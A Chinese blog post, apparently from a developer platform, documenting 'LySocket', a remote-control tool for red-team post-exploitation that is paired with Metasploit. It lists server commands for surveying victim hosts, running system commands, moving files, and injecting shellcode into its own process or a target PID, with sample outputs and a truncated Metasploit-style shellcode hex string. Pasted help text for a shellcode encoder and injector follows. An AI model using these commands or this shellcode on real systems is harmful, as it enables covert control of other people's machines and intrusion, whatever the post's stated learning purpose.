LySocket 远程ShellCode注入工具

一款基于C/C++开发的远程ShellCode注入工具,通常配合Metasploit一起使用,可实现远程注入反弹代码到指定进程,它由服务端和客户端两部分组成,并使用最少的代码实现了多Socket套接字管理机制,目前主要功能包括,获取客户端CPU、内存、进程列表、磁盘列表、目录与文件列表、执行系统命令、远程文件上传下载、以及远程ShellCode注入,该工具可用于红队渗透后的权限维持工作。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解套接字是如何进行管理的。

image

首先,读者需要有一个公网IP地址,并在该地址上运行服务端程序,客户端可在被控主机上运行,为了防止技术滥用本工具并不提供开机自启动功能且不隐藏CMD窗口,其目的仅是让读者能够学习红队武器化的开发思路,若需应用于实战还需增加其他功能(例如加密传输),读者可根据自己的理解进行学习和完善。

ShowSocket

当在服务端上运行ShowSocket命令时,它会列出所有当前连接的客户端,其中包括客户端的IP地址、端口、及状态信息,该命令输出的信息通常包括以下内容:

[ LySocket ] # ShowSocket
--------------------------------------------------------------------
索引             客户端地址              端口            状态
--------------------------------------------------------------------
0                127.0.0.1               51453           Open
1                127.0.0.1               51454           Open
2                127.0.0.1               51455           Open
--------------------------------------------------------------------

GetCPU

当在服务端上运行GetCPU命令时,它会列出目标主机的CPU信息,包括CPUID、CPU型号、CPU空闲、CPU内核、CPU用户、CPU利用百分比等,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetCPU --addr 127.0.0.1
--------------------------------------------------------------------
CPUID: 3219913727
CPUType: GenuineIntel
idle: 12500000
kernel: 12500000
user: 0
cpu: 0
--------------------------------------------------------------------

GetMemory

当在服务端上运行GetMemory命令时,它会获列出目标主机的内存信息,包括内存总量、内存剩余、内存已使用等信息,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetMemory --addr 127.0.0.1
--------------------------------------------------------------------
内存总量                 内存剩余                内存已使用
--------------------------------------------------------------------
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
7878 MB                  4463 MB                 3415 MB
--------------------------------------------------------------------

GetProcessList

当在服务端上运行GetProcessList命令时,它会列出目标主机的进程列表信息,其中包括了进程PID、进程位数、进程名等,该功能主要用于挑选注入进程时使用,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetProcessList --addr 127.0.0.1
--------------------------------------------------------------------
索引             进程PID                 进程位数                进程名
--------------------------------------------------------------------
0                4       x64             System
1                104     x64             Registry
2                440     x64             smss.exe
3                608     x64             csrss.exe
4                700     x64             csrss.exe
5                724     x64             wininit.exe
6                764     x64             winlogon.exe
7                844     x64             services.exe
8                860     x64             lsass.exe
9                980     x64             svchost.exe
10               1016    x64             svchost.exe
11               524     x64             fontdrvhost.exe
12               372     x64             fontdrvhost.exe
--------------------------------------------------------------------

GetDiskList

当在服务端上运行GetDiskList命令时,它会列出目标主机的磁盘列表信息,其中包括了磁盘名、磁盘类型、总容量、可用容量、已使用等,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetDiskList --addr 127.0.0.1
----------------------------------------------------------------------------------------------------
磁盘名           磁盘类型                总容量                  可用空间                已使用
----------------------------------------------------------------------------------------------------
C:\              固定磁盘                256.000000              197.578125              58.421875
D:\              固定磁盘                675.508789              633.071289              42.437500
F:\              移动磁盘                1863.013672             1718.514648             144.499023
----------------------------------------------------------------------------------------------------

GetDiskFileList

当在服务端上运行GetDiskFileList命令时,它会列出目标主机特定目录下的磁盘文件信息,其中包括了文件名及文件大小,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetDiskFileList --addr 127.0.0.1 --path c://
--------------------------------------------------------------------
文件名                           文件大小
--------------------------------------------------------------------
Boot                                                     0
bootmgr                                                  408344
PerfLogs                                                 0
Program Files                                            0
Program Files (x86)                                      0
ProgramData                                              0
Users                                                    0
Windows                                                  0
--------------------------------------------------------------------

GetCommand

当在服务端上运行GetCommand命令时,它会在目标系统中执行系统命令并输出执行结果,该命令输出的信息通常包括以下内容:

[ LySocket ] # GetCommand --addr 127.0.0.1 --cmd ipconfig
Windows IP 配置
以太网适配器 VMware Network Adapter VMnet1:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::5484:f4a1:18e7:22e8%6
   IPv4 地址 . . . . . . . . . . . . : 192.168.16.1
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . :
--------------------------------------------------------------------

SendFile

当在服务端上运行SendFile命令时,它会将本地的特定文件发送到特定客户端上,例如将本地的d://lyshark.exe发送到对端的d://tmp/lyshark.exe目录下,可执行如下命令:

[ LySocket ] # SendFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 发送文件长度 14848
[*] 接收状态 1
[+] Success..

RecvFile

当在服务端上运行RecvFile命令时,它会将远程主机上特定文件接收到服务端上,例如将远程主机上的d://lyshark.exe接收到本地的d://tmp/目录下,可执行如下命令:

[ LySocket ] # RecvFile --addr 127.0.0.1 --src d://lyshark.exe --dst d://tmp/
[+] 生成保存路径 d://tmp/lyshark.exe
[+] 接收字节数: 14848
[+] Success..

InjectCode

当在服务端上运行InjectSelfCode命令时,它会将接收到的ShellCode注入到自身进程内并执行,例如执行如下命令:

[ LySocket ] # InjectSelfCode --addr 127.0.0.1 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

若要将ShellCode注入到第三方进程中则可以使用InjectRemoteCode命令,该命令接收三个参数分别是目标地址、目标PID进程号、以及目标ShellCode代码,例如执行如下命令:

[ LySocket ] # InjectRemoteCode --addr 127.0.0.1 --pid 8762 --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31

对于注入,推荐使用SendFile上传一个无窗体的进程,并通过调用GetCommand运行进程,最后调用InjectRemoteCode将其注入到对应的进程内,而不去使用系统中的其他进程。

Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

振翅碎流霞

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值